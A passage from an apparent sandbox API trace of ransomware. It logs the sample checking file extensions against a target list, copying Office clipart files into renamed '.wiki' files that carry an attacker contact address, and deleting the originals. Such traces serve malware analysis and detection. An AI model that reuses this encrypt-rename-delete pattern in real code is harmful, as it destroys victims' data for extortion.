Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0194.450] lstrlenW (lpString=".jpg") returned 4 [0194.450] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.450] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.450] lstrlenW (lpString="J0106124.WMF") returned 12 [0194.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0194.451] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=5812) returned 1 [0194.451] CloseHandle (hObject=0x220) returned 1 [0194.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf")) returned 0x20 [0194.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0194.451] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.451] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0194.452] GetLastError () returned 0x0 [0194.452] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x16b4, lpOverlapped=0x0) returned 1 [0194.453] WriteFile (in: hFile=0x1f4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x16c0, lpOverlapped=0x0) returned 1 [0194.454] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0194.572] WriteFile (in: hFile=0x1f4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.621] SetEndOfFile (hFile=0x1f4) returned 1 [0194.621] CloseHandle (hObject=0x1f4) returned 1 [0194.622] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.622] SetEndOfFile (hFile=0x220) returned 1 [0194.623] CloseHandle (hObject=0x220) returned 1 [0194.623] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.623] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf")) returned 1 [0194.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0194.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0194.623] lstrlenW (lpString=".doc") returned 4 [0194.623] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.623] lstrlenW (lpString=".docx") returned 5 [0194.623] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0194.623] lstrlenW (lpString=".pdf") returned 4 [0194.623] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.623] lstrlenW (lpString=".xls") returned 4 [0194.623] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.623] lstrlenW (lpString=".xlsx") returned 5 [0194.623] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0194.623] lstrlenW (lpString=".ppt") returned 4 [0194.623] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0194.623] lstrlenW (lpString=".zip") returned 4 [0194.623] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.623] lstrlenW (lpString=".rar") returned 4 [0194.624] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.624] lstrlenW (lpString=".bz2") returned 4 [0194.624] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.624] lstrlenW (lpString=".7z") returned 3 [0194.624] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0194.624] lstrlenW (lpString=".dbf") returned 4 [0194.624] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0194.624] lstrlenW (lpString=".1cd") returned 4 [0194.624] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0194.624] lstrlenW (lpString=".jpg") returned 4 [0194.624] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0194.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0194.624] lstrlenW (lpString=".doc") returned 4 [0194.624] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.624] lstrlenW (lpString=".docx") returned 5 [0194.624] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0194.624] lstrlenW (lpString=".pdf") returned 4 [0194.624] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.624] lstrlenW (lpString=".xls") returned 4 [0194.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.624] lstrlenW (lpString=".xlsx") returned 5 [0194.624] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0194.624] lstrlenW (lpString=".ppt") returned 4 [0194.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0194.624] lstrlenW (lpString=".zip") returned 4 [0194.624] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.625] lstrlenW (lpString=".rar") returned 4 [0194.625] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.625] lstrlenW (lpString=".bz2") returned 4 [0194.625] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.625] lstrlenW (lpString=".7z") returned 3 [0194.625] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0194.625] lstrlenW (lpString=".dbf") returned 4 [0194.625] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0194.625] lstrlenW (lpString=".1cd") returned 4 [0194.625] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0194.625] lstrlenW (lpString=".jpg") returned 4 [0194.625] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.625] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.625] lstrlenW (lpString="J0107130.WMF") returned 12 [0194.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0194.626] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=27084) returned 1 [0194.626] CloseHandle (hObject=0x220) returned 1 [0194.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf")) returned 0x20 [0194.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0194.626] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.626] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0194.627] GetLastError () returned 0x0 [0194.627] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x69cc, lpOverlapped=0x0) returned 1 [0194.662] WriteFile (in: hFile=0x1f4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x69d0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x69d0, lpOverlapped=0x0) returned 1 [0194.663] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0194.664] WriteFile (in: hFile=0x1f4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.664] SetEndOfFile (hFile=0x1f4) returned 1 [0194.664] CloseHandle (hObject=0x1f4) returned 1 [0194.664] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.664] SetEndOfFile (hFile=0x220) returned 1 [0194.665] CloseHandle (hObject=0x220) returned 1 [0194.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.665] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf")) returned 1 [0194.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0194.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0194.665] lstrlenW (lpString=".doc") returned 4 [0194.665] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.665] lstrlenW (lpString=".docx") returned 5 [0194.665] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0194.665] lstrlenW (lpString=".pdf") returned 4 [0194.665] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.665] lstrlenW (lpString=".xls") returned 4 [0194.665] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.666] lstrlenW (lpString=".xlsx") returned 5 [0194.666] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0194.666] lstrlenW (lpString=".ppt") returned 4 [0194.666] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0194.666] lstrlenW (lpString=".zip") returned 4 [0194.666] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.666] lstrlenW (lpString=".rar") returned 4 [0194.666] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.666] lstrlenW (lpString=".bz2") returned 4 [0194.666] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.666] lstrlenW (lpString=".7z") returned 3 [0194.666] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0194.666] lstrlenW (lpString=".dbf") returned 4 [0194.666] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0194.666] lstrlenW (lpString=".1cd") returned 4 [0194.666] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0194.666] lstrlenW (lpString=".jpg") returned 4 [0194.666] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0194.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0194.666] lstrlenW (lpString=".doc") returned 4 [0194.666] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.666] lstrlenW (lpString=".docx") returned 5 [0194.667] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0194.667] lstrlenW (lpString=".pdf") returned 4 [0194.667] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.667] lstrlenW (lpString=".xls") returned 4 [0194.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.667] lstrlenW (lpString=".xlsx") returned 5 [0194.667] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0194.667] lstrlenW (lpString=".ppt") returned 4 [0194.667] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0194.667] lstrlenW (lpString=".zip") returned 4 [0194.667] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.667] lstrlenW (lpString=".rar") returned 4 [0194.667] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.667] lstrlenW (lpString=".bz2") returned 4 [0194.667] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.667] lstrlenW (lpString=".7z") returned 3 [0194.667] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0194.667] lstrlenW (lpString=".dbf") returned 4 [0194.667] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0194.667] lstrlenW (lpString=".1cd") returned 4 [0194.667] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0194.667] lstrlenW (lpString=".jpg") returned 4 [0194.667] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.668] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.668] lstrlenW (lpString="J0107134.WMF") returned 12 [0194.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0194.668] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=48388) returned 1 [0194.668] CloseHandle (hObject=0x220) returned 1 [0194.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf")) returned 0x20 [0194.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0194.668] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.669] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0194.669] GetLastError () returned 0x0 [0194.669] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0xbd04, lpOverlapped=0x0) returned 1 [0194.706] WriteFile (in: hFile=0x1f4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xbd10, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xbd10, lpOverlapped=0x0) returned 1 [0194.708] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0194.708] WriteFile (in: hFile=0x1f4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.708] SetEndOfFile (hFile=0x1f4) returned 1 [0194.708] CloseHandle (hObject=0x1f4) returned 1 [0194.708] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.708] SetEndOfFile (hFile=0x220) returned 1 [0194.709] CloseHandle (hObject=0x220) returned 1 [0194.709] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.710] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf")) returned 1 [0194.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0194.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0194.710] lstrlenW (lpString=".doc") returned 4 [0194.710] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.710] lstrlenW (lpString=".docx") returned 5 [0194.710] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0194.710] lstrlenW (lpString=".pdf") returned 4 [0194.710] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.710] lstrlenW (lpString=".xls") returned 4 [0194.710] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.710] lstrlenW (lpString=".xlsx") returned 5 [0194.710] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0194.710] lstrlenW (lpString=".ppt") returned 4 [0194.710] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0194.710] lstrlenW (lpString=".zip") returned 4 [0194.710] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.710] lstrlenW (lpString=".rar") returned 4 [0194.710] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.710] lstrlenW (lpString=".bz2") returned 4 [0194.710] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.710] lstrlenW (lpString=".7z") returned 3 [0194.711] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0194.711] lstrlenW (lpString=".dbf") returned 4 [0194.711] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0194.711] lstrlenW (lpString=".1cd") returned 4 [0194.711] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0194.711] lstrlenW (lpString=".jpg") returned 4 [0194.711] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0194.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0194.711] lstrlenW (lpString=".doc") returned 4 [0194.711] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.711] lstrlenW (lpString=".docx") returned 5 [0194.711] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0194.711] lstrlenW (lpString=".pdf") returned 4 [0194.711] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.711] lstrlenW (lpString=".xls") returned 4 [0194.711] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.711] lstrlenW (lpString=".xlsx") returned 5 [0194.711] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0194.711] lstrlenW (lpString=".ppt") returned 4 [0194.711] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0194.711] lstrlenW (lpString=".zip") returned 4 [0194.711] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.711] lstrlenW (lpString=".rar") returned 4 [0194.711] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.711] lstrlenW (lpString=".bz2") returned 4 [0194.711] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.712] lstrlenW (lpString=".7z") returned 3 [0194.712] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0194.712] lstrlenW (lpString=".dbf") returned 4 [0194.712] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0194.712] lstrlenW (lpString=".1cd") returned 4 [0194.712] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0194.712] lstrlenW (lpString=".jpg") returned 4 [0194.712] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.712] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.712] lstrlenW (lpString="J0107148.WMF") returned 12 [0194.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0194.713] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2ecff1c | out: 